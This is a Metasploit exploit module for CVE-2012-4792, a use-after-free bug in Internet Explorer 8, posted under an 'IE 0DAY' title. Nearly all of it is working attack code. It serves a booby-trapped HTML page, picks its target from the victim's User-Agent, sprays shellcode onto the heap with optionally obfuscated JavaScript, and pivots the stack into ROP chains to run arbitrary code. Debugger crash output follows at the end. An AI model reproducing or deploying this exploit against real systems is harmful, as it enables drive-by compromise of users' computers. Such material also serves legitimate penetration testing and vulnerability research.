[CVE-2012-4792]IE 0DAY – CDwnBindInfo Object Use-After-Free Vulnerability

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking
 
	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::RopDb
 
	def initialize(info={})
		super(update_info(info,
			'Name'           => "Microsoft Internet Explorer CButton Object Use-After-Free Vulnerability",
			'Description'    => %q{
					This module exploits a vulnerability found in Microsoft Internet Explorer. A
				use-after-free condition occurs when a CButton object is freed, but a reference
				is kept and used again during a page reload, an invalid memory that's controllable
				is used, and allows arbitrary code execution under the context of the user.
 
					Please note: This vulnerability has been exploited in the wild targeting
				mainly China/Taiwan/and US-based computers.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'eromang',
					'mahmud ab rahman',
					'juan vazquez',
					'sinn3r'  #Metasploit
				],
			'References'     =>
				[
					[ 'CVE', '2012-4792' ],
					[ 'US-CERT-VU', '154201' ],
					[ 'BID', '57070' ],
					[ 'URL', 'http://blog.fireeye.com/research/2012/12/council-foreign-relations-water-hole-attack-details.html'],
					[ 'URL', 'http://eromang.zataz.com/2012/12/29/attack-and-ie-0day-informations-used-against-council-on-foreign-relations/'],
					[ 'URL', 'http://blog.vulnhunt.com/index.php/2012/12/29/new-ie-0day-coming-mshtmlcdwnbindinfo-object-use-after-free-vulnerability/' ],
					[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2794220' ],
					[ 'URL', 'http://blogs.technet.com/b/srd/archive/2012/12/29/new-vulnerability-affecting-internet-explorer-8-users.aspx' ]
				],
			'Payload'        =>
				{
					'Space'        => 980,
					'DisableNops' => true,
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
				},
			'DefaultOptions'  =>
				{
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', {} ],
					[ 'IE 8 on Windows XP SP3',       { 'Rop' => :msvcrt, 'Offset' => '0x586' } ], # 0x0c0c0b30
					[ 'IE 8 on Windows Vista',        { 'Rop' => :jre,    'Offset' => '0x586' } ], # 0x0c0c0b30
					[ 'IE 8 on Windows Server 2003',  { 'Rop' => :msvcrt, 'Offset' => '0x586' } ], # 0x0c0c0b30
					[ 'IE 8 on Windows 7',            { 'Rop' => :jre,    'Offset' => '0x586' } ]  # 0x0c0c0b30
				],
			'Privileged'     => false,
			'DisclosureDate' => "Dec 27 2012",
			'DefaultTarget'  => 0))
 
		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
			], self.class)
 
	end
 
	def get_target(agent)
		#If the user is already specified by the user, we'll just use that
		return target if target.name != 'Automatic'
 
		nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
		ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
 
		ie_name = "IE #{ie}"
 
		case nt
		when '5.1'
			os_name = 'Windows XP SP3'
		when '5.2'
			os_name = 'Windows Server 2003'
		when '6.0'
			os_name = 'Windows Vista'
		when '6.1'
			os_name = 'Windows 7'
		else
			# OS not supported
			return nil
		end
 
		targets.each do |t|
			if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
				print_status("Target selected as: #{t.name}")
				return t
			end
		end
 
		return nil
	end
 
	def ie_heap_spray(my_target, p)
		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
		js_nops = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4), Rex::Arch.endian(target.arch))
 
		# Land the payload at 0x0c0c0b30
		js = %Q|
		var heap_obj = new heapLib.ie(0x20000);
		var code = unescape("#{js_code}");
		var nops = unescape("#{js_nops}");
		while (nops.length < 0x80000) nops += nops;
		var offset = nops.substring(0, #{my_target['Offset']});
		var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
		while (shellcode.length < 0x40000) shellcode += shellcode;
		var block = shellcode.substring(0, (0x80000-6)/2);
		heap_obj.gc();
		for (var i=1; i < 0x300; i++) {
			heap_obj.alloc(block);
		}
		|
 
		js = heaplib(js, {:noobfu => true})
 
		if datastore['OBFUSCATE']
			js = ::Rex::Exploitation::JSObfu.new(js)
			js.obfuscate
		end
 
		return js
	end
 
	def get_payload(t, cli)
		code = payload.encoded
 
		# No rop. Just return the payload.
		return code if t['Rop'].nil?
 
=begin
Stack Pivoting to eax:
0:008> db eax
0c0c0b30  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
0c0c0b40  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
=end
		# Both ROP chains generated by mona.py - See corelan.be
		case t['Rop']
		when :msvcrt
			print_status("Using msvcrt ROP")
			if t.name =~ /Windows XP/
				stack_pivot = [0x77c15ed6].pack("V") * 54 # ret
				stack_pivot << [0x77c2362c].pack("V") # pop ebx, #ret
				stack_pivot << [0x77c15ed5].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c
				rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})
			else
				stack_pivot = [0x77bcba5f].pack("V") * 54 # ret
				stack_pivot << [0x77bb4158].pack("V") # pop ebx, #ret
				stack_pivot << [0x77bcba5e].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c
				rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'2003'})
			end
		else
			print_status("Using JRE ROP")
			stack_pivot = [0x7c348b06].pack("V") * 54 # ret
			stack_pivot << [0x7c341748].pack("V") # pop ebx, #ret
			stack_pivot << [0x7c348b05].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c
			rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
		end
 
		return rop_payload
	end
 
	def load_exploit_html(my_target, cli)
 
		p  = get_payload(my_target, cli)
		js = ie_heap_spray(my_target, p)
 
		html = %Q|
		<!doctype html>
		<html>
		<head>
		<script>
		#{js}
 
		function helloWorld()
		{
			var e0 = null;
			var e1 = null;
			var e2 = null;
 
			try {
				e0 = document.getElementById("a");
				e1 = document.getElementById("b");
				e2 = document.createElement("q");
				e1.applyElement(e2);
				e1.appendChild(document.createElement('button'));
				e1.applyElement(e0);
				e2.outerText = "";
				e2.appendChild(document.createElement('body'));
			} catch(e) { }
			CollectGarbage();
			var eip = window;
			var data = "#{Rex::Text.rand_text_alpha(41)}";
			eip.location = unescape("%u0b30%u0c0c" + data);
		}
 
		</script>
		</head>
		<body onload="eval(helloWorld())">
		<form id="a">
		</form>
		<dfn id="b">
		</dfn>
		</body>
		</html>
		|
 
		return html
	end
 
	def on_request_uri(cli, request)
		agent = request.headers['User-Agent']
		uri   = request.uri
		print_status("Requesting: #{uri}")
 
		my_target = get_target(agent)
		# Avoid the attack if no suitable target found
		if my_target.nil?
			print_error("Browser not supported, sending 404: #{agent}")
			send_not_found(cli)
			return
		end
 
		html = load_exploit_html(my_target, cli)
		html = html.gsub(/^\t\t/, '')
		print_status("Sending HTML...")
		send_response(cli, html, {'Content-Type'=>'text/html'})
	end
 
end
 
 
=begin
(87c.f40): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=12120d0c ebx=0023c218 ecx=00000052 edx=00000000 esi=00000000 edi=0301e400
eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
mshtml!CMarkup::OnLoadStatusDone+0x504:
637848c3 ff90dc000000    call    dword ptr <Unloaded_Ed20.dll>+0xdb (000000dc)[eax] ds:0023:12120de8=????????
0:008> k
ChildEBP RetAddr
020bf8a4 635c378b mshtml!CMarkup::OnLoadStatusDone+0x504
020bf8c4 635c3e16 mshtml!CMarkup::OnLoadStatus+0x47
020bfd10 636553f8 mshtml!CProgSink::DoUpdate+0x52f
020bfd24 6364de62 mshtml!CProgSink::OnMethodCall+0x12
020bfd58 6363c3c5 mshtml!GlobalWndOnMethodCall+0xfb
020bfd78 7e418734 mshtml!GlobalWndProc+0x183
020bfda4 7e418816 USER32!InternalCallWinProc+0x28
020bfe0c 7e4189cd USER32!UserCallWinProcCheckWow+0x150
020bfe6c 7e418a10 USER32!DispatchMessageWorker+0x306
020bfe7c 01252ec9 USER32!DispatchMessageW+0xf
020bfeec 011f48bf IEFRAME!CTabWindow::_TabWindowThreadProc+0x461
020bffa4 5de05a60 IEFRAME!LCIETab_ThreadProc+0x2c1
020bffb4 7c80b713 iertutil!CIsoScope::RegisterThread+0xab
020bffec 00000000 kernel32!BaseThreadStart+0x37
 
0:008> r
eax=0c0c0c0c ebx=0023c1d0 ecx=00000052 edx=00000000 esi=00000000 edi=033e9120
eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x504:
637848c3 ff90dc000000    call    dword ptr [eax+0DCh] ds:0023:0c0c0ce8=????????
 
=end